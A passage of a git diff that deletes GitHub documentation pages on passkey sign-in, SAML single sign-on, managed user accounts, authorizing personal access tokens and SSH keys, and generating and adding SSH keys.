safely and easily to {% data variables.product.prodname_dotcom %} in your browser, without requiring a password and two-factor authentication. You can also sign in using a passkey on a nearby device.' -permissions: '{% ifversion fpt or ghec%}Personal account owners who manage their own credentials{% endif %}' -versions: - feature: passkeys -type: how_to -shortTitle: Sign in with a passkey ---- - -{% data reusables.passkeys.ghes-disable %} - -## About signing in with a passkey - -You must first add a passkey to your account before you can use the passkey to sign in to {% data variables.product.prodname_dotcom %} in the browser. For more information, see [AUTOTITLE](/authentication/authenticating-with-a-passkey/managing-your-passkeys). - -Once you have added a passkey to your account, you can use the passkey to sign in safely and securely to {% data variables.product.prodname_dotcom %} without having to enter your password, perform two-factor authentication (2FA), or verify a new device. Once you have added a synced passkey on one device, the passkey is available to use across multiple devices. These devices must use the same passkey provider (such as iCloud). - -Some authenticators allow passkeys to be used with nearby devices. For example, perhaps you want to sign in to {% data variables.product.prodname_dotcom %} using a Bluetooth-enabled laptop that's not set up with a passkey. If you have registered a passkey on your phone, you might opt to scan a QR code, or trigger a push notification to your phone, in order to complete the sign in securely. For more information, see [Signing in with a passkey using a nearby device](#signing-in-with-a-passkey-using-a-nearby-device). - -## Signing in with a passkey linked to your primary device - -1. Navigate to the login page for {% data variables.product.prodname_dotcom %} at {% ifversion fpt or ghec %}[https://github.com/login?passkey=true](https://github.com/login?passkey=true){% else %}`https://HOSTNAME/login?passkey=true`{% endif %}. -1. Click **{% octicon "passkey-fill" aria-hidden="true" %} Sign in with a passkey**. -1. Follow the prompts on your browser or platform to select a passkey that is accessible from the device you are using, and complete the authentication process. For example, when prompted, you might touch a fingerprint sensor or enter your PIN. - -## Signing in with a passkey using a nearby device - -1. Navigate to the login page for {% data variables.product.prodname_dotcom %} at {% ifversion fpt or ghec %}[https://github.com/login?passkey=true](https://github.com/login?passkey=true){% else %}`https://HOSTNAME/login?passkey=true`{% endif %}. -1. Click **{% octicon "passkey-fill" aria-hidden="true" %} Sign in with a passkey**. -1. Follow the prompts on your browser or platform to select a passkey that is accessible as a nearby device (such as a phone or a tablet). -1. Continue to follow the prompts to start the authentication process. For example, you might choose to scan a QR code, or trigger a push notification to the nearby device. -1. On your nearby device, follow the prompts to complete the authentication process. For example, if you are using an iPhone, you might perform Face ID or enter your passcode. - -## Further reading - -* [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys) -* [AUTOTITLE](/authentication/authenticating-with-a-passkey/managing-your-passkeys) diff --git a/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md deleted file mode 100644 index 6e8162ff0502..000000000000 --- a/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: About authentication with SAML single sign-on -intro: 'You can access {% ifversion ghec %}an organization that uses SAML single sign-on (SSO){% endif %} by authenticating through an identity provider (IdP).' -redirect_from: - - /articles/about-authentication-with-saml-single-sign-on - - /github/authenticating-to-github/about-authentication-with-saml-single-sign-on - - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on -versions: - ghec: '*' -topics: - - SSO -shortTitle: SAML single sign-on ---- -## About authentication with SAML SSO - -{% data reusables.saml.dotcom-saml-explanation %} Organization owners can invite your personal account on {% data variables.product.prodname_dotcom %} to join their organization that uses SAML SSO, which allows you to contribute to the organization and retain your existing identity and contributions on {% data variables.product.prodname_dotcom %}. - -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will instead use a new account that is provisioned for you and controlled by your enterprise. {% data reusables.enterprise-accounts.emu-more-info-account %} - -When you attempt to access most resources within an organization that uses SAML SSO, {% data variables.product.prodname_dotcom %} will redirect you to the organization's SAML IdP to authenticate. After you successfully authenticate with your account on the IdP, the IdP redirects you back to {% data variables.product.prodname_dotcom %}, where you can access the organization's resources. - -{% data reusables.saml.resources-without-sso %} - -{% data reusables.saml.outside-collaborators-exemption %} - -If you have recently authenticated with your organization's SAML IdP in your browser, you are automatically authorized when you access a {% data variables.product.prodname_dotcom %} organization that uses SAML SSO. If you haven't recently authenticated with your organization's SAML IdP in your browser, you must authenticate at the SAML IdP before you can access the organization. - -{% data reusables.saml.you-must-periodically-authenticate %} - -## Linked SAML identities - -When you authenticate with your IdP account and return to {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_dotcom %} will record a link in the organization or enterprise between your {% data variables.product.prodname_dotcom %} personal account and the SAML identity you signed into. This linked identity is used to validate your membership in that organization, and depending on your organization or enterprise setup, is also used to determine which organizations and teams you're a member of as well. Each {% data variables.product.prodname_dotcom %} account can be linked to exactly one SAML identity per organization. Likewise, each SAML identity can be linked to exactly one {% data variables.product.prodname_dotcom %} account in an organization. - -If you sign in with a SAML identity that is already linked to another {% data variables.product.prodname_dotcom %} account, you will receive an error message indicating that you cannot sign in with that SAML identity. This situation can occur if you are attempting to use a new {% data variables.product.prodname_dotcom %} account to work inside of your organization. If you didn't intend to use that SAML identity with that {% data variables.product.prodname_dotcom %} account, then you'll need to sign out of that SAML identity and then repeat the SAML login. If you do want to use that SAML identity with your {% data variables.product.prodname_dotcom %} account, you'll need to ask your admin to unlink your SAML identity from your old account, so that you can link it to your new account. Depending on the setup of your organization or enterprise, your admin may also need to reassign your identity within your SAML provider. For more information, see [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity). - -If the SAML identity you sign in with does not match the SAML identity that is currently linked to your {% data variables.product.prodname_dotcom %} account, you'll receive a warning that you are about to relink your account. Because your SAML identity is used to govern access and team membership, continuing with the new SAML identity can cause you to lose access to teams and organizations inside of {% data variables.product.prodname_dotcom %}. Only continue if you know that you're supposed to use that new SAML identity for authentication in the future. - -## Authorizing {% data variables.product.pat_generic %}s and SSH keys with SAML SSO - -To use the API or Git on the command line to access protected content in an organization that uses SAML SSO, you will need to use an authorized {% data variables.product.pat_generic %} over HTTPS or an authorized SSH key. - -If you don't have a {% data variables.product.pat_generic %} or an SSH key, you can create a {% data variables.product.pat_generic %} for the command line or generate a new SSH key. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) or [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -To use a new or existing {% data variables.product.pat_generic %} or SSH key with an organization that uses or enforces SAML SSO, you will need to authorize the token or authorize the SSH key for use with a SAML SSO organization. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) or [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on). - -## About {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %}, and SAML SSO - -You must have an active SAML session each time you authorize an {% data variables.product.prodname_oauth_app %} or {% data variables.product.prodname_github_app %} to access an organization that uses or enforces SAML SSO. You can create an active SAML session by navigating to `https://github.com/orgs/ORGANIZATION-NAME/sso` in your browser. - -After an enterprise or organization owner enables or enforces SAML SSO for an organization, and after you authenticate via SAML for the first time, you must reauthorize any {% data variables.product.prodname_oauth_apps %} or {% data variables.product.prodname_github_apps %} that you previously authorized to access the organization. - -To see the {% data variables.product.prodname_oauth_apps %} you've authorized, visit your [{% data variables.product.prodname_oauth_apps %} page](https://github.com/settings/applications). To see the {% data variables.product.prodname_github_apps %} you've authorized, visit your [{% data variables.product.prodname_github_apps %} page](https://github.com/settings/apps/authorizations). - -For more information, see [AUTOTITLE](/apps/using-github-apps/saml-and-github-apps). - -## Further reading - -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on) diff --git a/content/authentication/authenticating-with-saml-single-sign-on/authenticating-with-a-managed-user-account.md b/content/authentication/authenticating-with-saml-single-sign-on/authenticating-with-a-managed-user-account.md deleted file mode 100644 index 9c7660c9d5fc..000000000000 --- a/content/authentication/authenticating-with-saml-single-sign-on/authenticating-with-a-managed-user-account.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Authenticating with {% data variables.product.prodname_emus %}' -shortTitle: Authenticate as a managed user -intro: 'Learn how to authenticate to access an {% data variables.enterprise.prodname_emu_enterprise %} on {% data variables.product.prodname_dotcom %}.' -product: '{% data reusables.gated-features.emus %}' -versions: - ghec: '*' -topics: - - Accounts - - Authentication - - Enterprise - - SSO -allowTitleToDifferFromFilename: true ---- - -If you use a {% data variables.enterprise.prodname_managed_user %}, you must authenticate through your identity provider (IdP) to access {% data variables.product.prodname_dotcom %}. The location where you can authenticate depends on whether your enterprise uses SAML or OIDC authentication. - -## Supported authentication locations - -Authentication location | SAML | OIDC ---- | --- | --- | -IdP application portal | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} -Login page on {% data variables.product.prodname_dotcom %} |{% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} -The profile page for an organization or enterprise on {% data variables.product.prodname_dotcom %} | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} - -## Authenticating via the login page - -1. Navigate to [https://github.com/login](https://github.com/login). -1. In the "Username or email address" text box, enter your username including the underscore and short code. -1. To continue to your IdP, click **Sign in with your identity provider**. diff --git a/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md deleted file mode 100644 index 0b48ca465f4e..000000000000 --- a/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Authorizing a personal access token for use with SAML single sign-on -intro: 'To use a {% data variables.product.pat_v1 %} with an organization that uses SAML single sign-on (SSO), you must first authorize the token.' -redirect_from: - - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization - - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on - - /github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on - - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on -versions: - ghec: '*' -topics: - - SSO -shortTitle: '{% data variables.product.pat_generic_caps %} with SAML' ---- -You must authorize your {% data variables.product.pat_v1 %} after creation before the token can access an organization that uses SAML single sign-on (SSO). For more information about creating a new {% data variables.product.pat_v1 %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). {% data variables.product.pat_v2_caps %}s are authorized during token creation, before access to the organization is granted. - -{% data reusables.saml.must-authorize-linked-identity %} - -{% data reusables.saml.authorized-creds-info %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.personal_access_tokens %} -1. Next to the token you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %} - - ![Screenshot of a list entry for a {% data variables.product.pat_v1 %}. A dropdown menu, labeled "Configure SSO", is outlined in orange.](/assets/images/help/settings/sso-allowlist-button.png) - -1. In the dropdown menu, to the right of the organization you'd like to authorize the token for, click **Authorize**. - -## Further reading - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) -* [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on) diff --git a/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md deleted file mode 100644 index 413947430e49..000000000000 --- a/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Authorizing an SSH key for use with SAML single sign-on -intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.' -redirect_from: - - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization - - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on - - /github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on - - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on -versions: - ghec: '*' -topics: - - SSO -shortTitle: SSH Key with SAML ---- - -## About authorization of SSH keys - -You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -{% data reusables.saml.must-authorize-linked-identity %} - -{% data reusables.saml.authorized-creds-info %} - -> [!NOTE] -> If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -You do not need to authorize SSH certificates signed by your organization's SSH certificate authority (CA). - -## Authorizing an SSH key - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. To the right of the SSH key you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %} - - ![Screenshot of the "Authentication Keys" section. Next to a key, a dropdown menu, labeled "Configure SSO," is outlined in orange.](/assets/images/help/settings/ssh-sso-button.png) -1. In the dropdown menu, to the right of the organization you'd like to authorize the SSH key for, click **Authorize**. - -## Further reading - -* [AUTOTITLE](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys) -* [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on) diff --git a/content/authentication/authenticating-with-saml-single-sign-on/index.md b/content/authentication/authenticating-with-saml-single-sign-on/index.md deleted file mode 100644 index 820b7aa2bc7a..000000000000 --- a/content/authentication/authenticating-with-saml-single-sign-on/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Authenticating with SAML single sign-on -intro: 'You can authenticate to {% data variables.product.github %} with SAML single sign-on (SSO){% ifversion ghec %} and view your active sessions{% endif %}.' -redirect_from: - - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on - - /articles/authenticating-with-saml-single-sign-on - - /github/authenticating-to-github/authenticating-with-saml-single-sign-on -versions: - ghec: '*' -topics: - - SSO -children: - - /authenticating-with-a-managed-user-account - - /about-authentication-with-saml-single-sign-on - - /authorizing-an-ssh-key-for-use-with-saml-single-sign-on - - /authorizing-a-personal-access-token-for-use-with-saml-single-sign-on - - /viewing-and-managing-your-active-saml-sessions -shortTitle: Authenticate with SAML ---- diff --git a/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md b/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md deleted file mode 100644 index 6be96391de74..000000000000 --- a/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Viewing and managing your active SAML sessions -intro: You can view and revoke your active SAML sessions in your settings. -redirect_from: - - /articles/viewing-and-managing-your-active-saml-sessions - - /github/authenticating-to-github/viewing-and-managing-your-active-saml-sessions - - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions -versions: - ghec: '*' -topics: - - SSO -type: how_to -shortTitle: Active SAML sessions ---- - -You can view a list of devices that have logged into your account, and revoke any SAML sessions that you don't recognize. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.sessions %} -1. Under "Web sessions," you can see your active SAML sessions. -1. To see the session details, next to the session, click **See more**. -1. To revoke a session, in the session details, click **Revoke SAML**. - - > [!NOTE] - > When you revoke a session, you remove your SAML authentication to that organization. To access the organization again, you will need to single sign-on through your identity provider. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on). - -## Further reading - -* [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on) diff --git a/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/content/authentication/connecting-to-github-with-ssh/about-ssh.md deleted file mode 100644 index 8a01ccd29108..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/about-ssh.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: About SSH -intro: 'Using the SSH protocol, you can connect and authenticate to remote servers and services. With SSH keys, you can connect to {% data variables.product.github %} without supplying your username and {% data variables.product.pat_generic %} at each visit. You can also use an SSH key to sign commits.' -redirect_from: - - /articles/about-ssh - - /github/authenticating-to-github/about-ssh - - /github/authenticating-to-github/connecting-to-github-with-ssh/about-ssh -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH ---- - -{% data reusables.ssh.about-ssh %} For more information about SSH, see [Secure Shell](https://en.wikipedia.org/wiki/Secure_Shell) on Wikipedia. - -When you set up SSH, you will need to generate a new private SSH key and add it to the SSH agent. You must also add the public SSH key to your account on {% data variables.product.github %} before you use the key to authenticate or sign commits. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent), [AUTOTITLE](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account) and [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). - -You can further secure your SSH key by using a hardware security key, which requires the physical hardware security key to be attached to your computer when the key pair is used to authenticate with SSH. You can also secure your SSH key by adding your key to the ssh-agent and using a passphrase. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases). - -{% ifversion fpt or ghec %}To use your SSH key with a repository owned by an organization that uses SAML single sign-on, you must authorize the key. For more information, see [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}{% endif %} - -To maintain account security, you can regularly review your SSH keys list and revoke any keys that are invalid or have been compromised. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys). - -{% ifversion fpt or ghec %} -If you haven't used your SSH key for a year, then {% data variables.product.prodname_dotcom %} will automatically delete your inactive SSH key as a security precaution. For more information, see [AUTOTITLE](/authentication/troubleshooting-ssh/deleted-or-missing-ssh-keys). -{% endif %} - -{% ifversion fpt %} -Organizations that use {% data variables.product.prodname_ghe_cloud %} can provide SSH certificates, which members can use to access that organization's repositories without adding the certificate to their account on {% data variables.product.github %}. If you're using an SSH certificate, you cannot use the certificate to access forks of the organization's repositories, if the fork is owned by your personal account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities) in the {% data variables.product.prodname_ghe_cloud %} documentation. - -{% else ghec or ghes %} -Organizations that use {% data variables.product.prodname_ghe_cloud %} can provide SSH certificates, which members can use to access that organization's repositories without adding the certificate to their account on {% data variables.product.prodname_dotcom %}. - -{% ifversion ghec %}{% data reusables.emus.ssh-ca-support-for-emu %}{% endif %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/authentication/troubleshooting-ssh) diff --git a/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md deleted file mode 100644 index 60b1c0a62cd4..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Adding a new SSH key to your GitHub account -intro: 'To configure your account on {% data variables.location.product_location %} to use your new (or existing) SSH key, you''ll also need to add the key to your account.' -redirect_from: - - /articles/adding-a-new-ssh-key-to-your-github-account - - /github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account - - /github/authenticating-to-github/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Add a new SSH key ---- - -## About addition of SSH keys to your account - -{% data reusables.ssh.about-ssh %} For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/about-ssh). - -You can also use SSH to sign commits and tags. For more information about commit signing, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). - -After you generate an SSH key pair, you must add the public key to {% data variables.location.product_location %} to enable SSH access for your account. - -## Prerequisites - -Before adding a new SSH key to your account on {% data variables.location.product_location %}, complete the following steps. - -1. Check for existing SSH keys. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys). -1. Generate a new SSH key and add it to your machine's SSH agent. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -## Adding a new SSH key to your account - -You can add an SSH key and use it for authentication, or commit signing, or both. If you want to use the same SSH key for both authentication and signing, you need to upload it twice. - -After adding a new SSH authentication key to your account on {% data variables.location.product_location %}, you can reconfigure any local repositories to use SSH. For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories#switching-remote-urls-from-https-to-ssh). - -{% data reusables.ssh.key-type-support %} - -{% webui %} - -{% data reusables.gpg.copy-ssh-public-key %} - -{% data reusables.user-settings.access_settings %} - -{% data reusables.user-settings.ssh %} - -1. Click **New SSH key** or **Add SSH key**. -1. In the "Title" field, add a descriptive label for the new key. For example, if you're using a personal laptop, you might call this key "Personal laptop". -1. Select the type of key, either authentication or signing. For more information about commit signing, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). -1. In the "Key" field, paste your public key. -1. Click **Add SSH key**. -{% data reusables.user-settings.sudo-mode-popup %} - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -Before you can use the {% data variables.product.prodname_cli %} to add an SSH key to your account, you must authenticate to the {% data variables.product.prodname_cli %}. For more information, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login) in the {% data variables.product.prodname_cli %} documentation. - -To add an SSH key to your GitHub account, use the `ssh-key add` subcommand, specifying your public key. For authentication keys, if you're prompted to request additional scopes, follow the instructions in the command line. - -```shell -gh ssh-key add KEY-FILE --type {authentication|signing} -``` - -To include a title for the new key, use the `-t` or `--title` flag. - -```shell -gh ssh-key add KEY-FILE --title "personal laptop" -``` - -If you generated your SSH key by following the instructions in [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent), you can add the key to your account with this command. - -```shell -gh ssh-key add ~/.ssh/id_ed25519.pub --type signing -``` - -{% endcli %} - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on) -{% endif %} diff --git a/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md b/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md deleted file mode 100644 index 285f8f35dc7f..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Checking for existing SSH keys -intro: 'Before you generate an SSH key, you can check to see if you have any existing SSH keys.' -redirect_from: - - /articles/checking-for-existing-ssh-keys - - /github/authenticating-to-github/checking-for-existing-ssh-keys - - /github/authenticating-to-github/connecting-to-github-with-ssh/checking-for-existing-ssh-keys -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Check for existing SSH key ---- - -## About SSH keys - -You can use SSH to perform Git operations in repositories. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/about-ssh). - -If you have an existing SSH key, you can use the key to authenticate Git operations over SSH. - -## Checking for existing SSH keys - -Before you generate a new SSH key, you should check your local machine for existing keys. - -{% data reusables.ssh.key-type-support %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Enter `ls -al ~/.ssh` to see if existing SSH keys are present. - - ```shell - $ ls -al ~/.ssh - # Lists the files in your .ssh directory, if they exist - ``` - -1. Check the directory listing to see if you already have a public SSH key. By default, the filenames of supported public keys for {% data variables.product.github %} are one of the following. - * _id_rsa.pub_ - * _id_ecdsa.pub_ - * _id_ed25519.pub_ - - > [!TIP] - > If you receive an error that _~/.ssh_ doesn't exist, you do not have an existing SSH key pair in the default location. You can create a new SSH key pair in the next step. - -1. Either generate a new SSH key or upload an existing key. - * If you don't have a supported public and private key pair, or don't wish to use any that are available, generate a new SSH key. - * If you see an existing public and private key pair listed (for example, _id_rsa.pub_ and _id_rsa_) that you would like to use to connect to {% data variables.product.github %}, you can add the key to the ssh-agent. - - For more information about generation of a new SSH key or addition of an existing key to the ssh-agent, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). diff --git a/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md b/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md deleted file mode 100644 index f6f91e90b3cb..000000000000 --- a/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: Generating a new SSH key and adding it to the ssh-agent -intro: 'After you''ve checked for existing SSH keys, you can generate a new SSH key to use for authentication, then add it to the ssh-agent.' -redirect_from: - - /articles/adding-a-new-ssh-key-to-the-ssh-agent - - /articles/generating-a-new-ssh-key - - /articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent - - /github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent - - /github/authenticating-to-github/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - SSH -shortTitle: Generate new SSH key ---- - -## About SSH key passphrases - -{% data reusables.ssh.about-ssh %} For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/about-ssh). - -When you generate an SSH key, you can add a passphrase to further secure the key. Whenever you use the key, you must enter the passphrase. If your key has a passphrase and you don't want to enter the passphrase every time you use the key, you can add your key to the SSH agent. The SSH agent manages your SSH keys and remembers your passphrase. - -If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys). - -If you want to use a hardware security key to authenticate to {% data variables.product.github %}, you must generate a new SSH key for your hardware security key. You must connect your hardware security key to your computer when you authenticate with the key pair. For more information, see the [OpenSSH 8.2 release notes](https://www.openssh.com/txt/release-8.2). - -## Generating a new SSH key - -You can generate a new SSH key on your local machine. After you generate the key, you can add the public key to your account on {% data variables.location.product_location %} to enable authentication for Git operations over SSH. - -{% ifversion ghes %} - -If you are a site administrator for {% data variables.location.product_location_enterprise %}, you can use the same key to grant yourself administrative SSH access to the instance. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh). - -{% endif %} - -{% data reusables.ssh.key-type-support %} - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Paste the text below, replacing the email used in the example with your {% data variables.product.github %} email address. - - ```shell - ssh-keygen -t ed25519 -C "your_email@example.com" - ``` - - > [!NOTE] - > If you are using a legacy system that doesn't support the Ed25519 algorithm, use: - > - > ```shell - > ssh-keygen -t rsa -b 4096 -C "your_email@example.com" - > ``` - - This creates a new SSH key, using the provided email as a label. - - ```shell - > Generating public/private ALGORITHM key pair. - ``` - - When you're prompted to "Enter a file in which to save the key", you can press **Enter** to accept the default file location. Please note that if you created SSH keys previously, ssh-keygen may ask you to rewrite another key, in which case we recommend creating a custom-named SSH key. To do so, type the default file location and replace id_ALGORITHM with your custom key name. - - {% mac %} - - ```shell - > Enter a file in which to save the key (/Users/YOU/.ssh/id_ALGORITHM): [Press enter] - ``` - - {% endmac %} - - {% windows %} - - ```powershell - > Enter file in which to save the key (/c/Users/YOU/.ssh/id_ALGORITHM):[Press enter] - ``` - - {% endwindows %} - - {% linux %} - - ```shell - > Enter a file in which to save the key (/home/YOU/.ssh/id_ALGORITHM):[Press enter] - ``` - - {% endlinux %} - -1. At the prompt, type a secure passphrase. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases). - - ```shell - > Enter passphrase (empty for no passphrase): [Type a passphrase] - > Enter same passphrase again: [Type passphrase again] - ``` - -## Adding your SSH key to the ssh-agent - -Before adding a new SSH key to the ssh-agent to manage your keys, you should have checked for existing SSH keys and generated a new SSH key. <span class="platform-mac">When adding your SSH key to the agent, use the default macOS `ssh-add` command, and not an application installed by [macports](https://www.macports.org/), [homebrew](https://brew.sh/), or some other external source.</span> - -{% mac %} - -{% data reusables.command_line.start_ssh_agent %} - -1. If you're using macOS Sierra 10.12.2 or later, you will need to modify your `~/.ssh/config` file to automatically load keys into the ssh-agent and store passphrases in your keychain. - - * First, check to see if your `~/.ssh/config` file exists in the default location. - - ```shell - $ open ~/.ssh/config - > The file /Users/YOU/.ssh/config does not exist. - ``` - - * If the file doesn't exist, create the file. - - ```shell - touch ~/.ssh/config - ``` - - * Open your `~/.ssh/config` file, then modify the file to contain the following lines. If your SSH key file has a different name or path than the example code, modify the filename or path to match your current setup. - - ```text copy - Host {% 